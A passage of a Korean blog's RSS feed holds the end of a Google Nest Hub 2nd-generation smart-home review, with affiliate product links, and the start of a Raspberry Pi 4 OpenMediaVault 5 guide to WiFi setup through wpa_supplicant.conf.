this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;지금은 3개지만...더 늘려야지...ㅎ&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- &quot;Hey, Google! o o o 해줘&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연동된 기기들을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제어하는 모습입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;시작 명령어는&lt;br /&gt;&lt;u&gt;&lt;b&gt;&quot;Hey, Google&quot; 과 &quot;Ok, Google&quot;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;두 가지 입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;클로바와 다르게&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;명령어를 들어도&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;소리를 내지는 않습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;(어디 소리내는 설정이&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;있을 거 같은데...)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- &quot;Hey, Google! 컴퓨터 켜줘&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터가 켜집니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거는 약간의 꼽수가 들어가 있습니다만...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;켜집니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/422547694&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/bFsRcc/hyLHB09TI4/ib7vNBsnigjnQYrSBq8Bek/img.jpg?width=852&amp;amp;height=480&amp;amp;face=0_0_852_480&quot; data-video-width=&quot;500&quot; data-video-height=&quot;282&quot; data-video-origin-width=&quot;852&quot; data-video-origin-height=&quot;480&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/422547694?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;282&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;네, 플러그인에 전원을 켭니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에 사용한 스마트홈 기기는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://coupa.ng/b7L6XI&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AI Power Manager&lt;/a&gt; 입니다.&lt;/p&gt;
&lt;figure id=&quot;og_1632399059735&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;파워매니저 강아지 고양이 원격 제어 케어 AI 스마트플러그 16A&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b7L6XI&quot; data-og-url=&quot;https://www.coupang.com/vp/products/1409478694&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dqg28B/hyLHK4Tfia/ZFR42xbF2gjvtlW5LbALe1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b7L6XI&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b7L6XI&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dqg28B/hyLHK4Tfia/ZFR42xbF2gjvtlW5LbALe1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;파워매니저 강아지 고양이 원격 제어 케어 AI 스마트플러그 16A&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- &quot;Hey, Google. 넷플릭스에서 루시퍼 켜줘&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇 개월 째 정주행 중인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Lucifer&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇 개월 째지만...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정주행 중에 새시즌 나와서...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 신나. 아무튼 신나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/422547806&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/dHlvvB/hyLIWvRcNC/IF1qU5J7YG6MRznDsUILWk/img.jpg?width=852&amp;amp;height=480&amp;amp;face=0_0_852_480&quot; data-video-width=&quot;500&quot; data-video-height=&quot;282&quot; data-video-origin-width=&quot;852&quot; data-video-origin-height=&quot;480&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/422547806?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;282&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;근데 로딩에 시간이 좀 걸린다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- &quot;Hey, Google. 등 꺼/켜줘&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 번에는 방의 천장등을 제어했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/422547936&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/hMa1l/hyLHEjg6ad/jfS9D5Nf9Qx9y4CHajb5c1/img.jpg?width=852&amp;amp;height=480&amp;amp;face=0_0_852_480&quot; data-video-width=&quot;500&quot; data-video-height=&quot;282&quot; data-video-origin-width=&quot;852&quot; data-video-origin-height=&quot;480&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/422547936?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;282&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;네, 등을 끕니다 / 네, 등을 껍니다(?)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방 등을 조절하는 방식은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중계기를 통한 블루투스 방식(ZigBee 였던가?)과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WiFi를 연결하는 방식이 있는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WiFi 방식을 좀 힘들게 찾아서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;집 등 전원 내리고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;벽 스위치 교체하는 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;번거롭지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;깔끔합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제품은 &lt;a href=&quot;https://coupa.ng/b7L8V2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;C2O 스마트 스위치 WiFi&lt;/a&gt; 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버튼 수는 다양합니다. WiFi 제품인게 중요.&lt;/p&gt;
&lt;figure id=&quot;og_1632399806919&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;[C2O] 스마트 ZigBee 2선식 1회로 전등스위치 / 중성선 필요없는 원격 전등 제어 / 스마트싱스 연동 EC&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b7L8V2&quot; data-og-url=&quot;https://www.coupang.com/vp/products/5125366124&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cULzt8/hyLHDq9neY/AcZVSpmq2CCcXrN1zOXnQK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b7L8V2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b7L8V2&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cULzt8/hyLHDq9neY/AcZVSpmq2CCcXrN1zOXnQK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[C2O] 스마트 ZigBee 2선식 1회로 전등스위치 / 중성선 필요없는 원격 전등 제어 / 스마트싱스 연동 EC&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 이외에도 다양&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 예시 말고도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Google Assistant를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 기능을 사용할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 최적화된 알람 설정&lt;/b&gt;&lt;br /&gt;- 꺼지지 않는 알람, 알람으로 유튜브 실행 등&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 주소 입력을 통한 지도 기능&lt;br /&gt;&lt;br /&gt;...기타 등등&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 알람 빼곤&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 쓰지는 않습니다...;;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;kakaotv&quot; data-video-url=&quot;https://tv.kakao.com/v/422548559&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/na1V8/hyLI4m7UIQ/KEbKipVUnHDPmON8u9fP61/img.jpg?width=852&amp;amp;height=480&amp;amp;face=0_0_852_480&quot; data-video-width=&quot;500&quot; data-video-height=&quot;282&quot; data-video-origin-width=&quot;852&quot; data-video-origin-height=&quot;480&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-play-service=&quot;daum_tistory&quot;&gt;&lt;iframe src=&quot;https://play-tv.kakao.com/embed/player/cliplink/422548559?service=daum_tistory&quot; width=&quot;500&quot; height=&quot;282&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption&gt;Youtube Music에서 클래식 듣기!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 구매는 해외 직구로...&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 국내 정식 발매가 아니어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해외 직구로 구할 수 밖에 없습니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://coupa.ng/b7McrR&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;구글 네스트 허브 2세대&lt;/a&gt;는 전부 해외 직구...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 산 차콜은 싸게 팔던데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상하게 다른 색상은 웃돈을 받네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물량 안 풀렸나, 인기를 아는 건가.&lt;/p&gt;
&lt;figure id=&quot;og_1632400841168&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;구글 네스트 허브 2세대 미니 AI 스피커 오디오 2nd&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/b7McrR&quot; data-og-url=&quot;https://www.coupang.com/vp/products/5822114407&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/T2co8/hyLHDSd6Aw/i0VekpwKt1LYgGnyKnihWK/img.png?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/b7McrR&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/b7McrR&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/T2co8/hyLHDSd6Aw/i0VekpwKt1LYgGnyKnihWK/img.png?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;구글 네스트 허브 2세대 미니 AI 스피커 오디오 2nd&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&quot;파트너스 활동을 통해 일정액의 수수료를 제공받을 수 있음&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>리뷰</category>
      <category>ai스피커</category>
      <category>Clova</category>
      <category>Google Nest Hub Gen2</category>
      <category>구글 네스트 허브 2세대</category>
      <category>인공지능 스피커</category>
      <category>카카오 미니</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/156</guid>
      <comments>https://chmodi.tistory.com/156#entry156comment</comments>
      <pubDate>Thu, 23 Sep 2021 21:50:41 +0900</pubDate>
    </item>
    <item>
      <title>[Raspberry Pi 4 + OMV5] 무선 네트워크(WiFi) 연결</title>
      <link>https://chmodi.tistory.com/155</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;OMV5를 설치하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무조건&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선 랜이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결되지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 해결한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;1. wpa_supplicant.conf&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 연결할 WiFi를 설정해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Raspberry Pi 설치 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/boot 폴더에 wpa_supplicant.conf 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선 네트워크를 사용중이셨다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 설정되어 있을 겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;수정할 파일:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# vi /etc/wpa_supplicant/wpa_supplicant.conf&lt;br /&gt;&lt;br /&gt;내용:&lt;br /&gt;network={ &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssid=&quot;WiFi 이름&quot; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;scan_ssid=1 &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;psk=&quot;WiFi 비밀번호&quot; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;key_mgmt=WPA-PSK &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;id_str=&quot;Home&quot; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 &lt;u&gt;&lt;b&gt;scan_ssid는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;숨겨진 WiFi를 찾는 옵션&lt;/b&gt;&lt;/u&gt;이며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;key_mgmt는 WiFi의 암호화 방식,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id_str은 여러 WiFi를 등록했을 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구분하는 식별자 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;184&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;181&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmfVrE/btreJxqZcvz/7JhvzxoO2OLu9grtcEOpj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmfVrE/btreJxqZcvz/7JhvzxoO2OLu9grtcEOpj1/img.png&quot; data-alt=&quot;wpa_supplicant.conf 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmfVrE/btreJxqZcvz/7JhvzxoO2OLu9grtcEOpj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmfVrE%2FbtreJxqZcvz%2F7JhvzxoO2OLu9grtcEOpj1%2Fimg.png&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;184&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;181&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 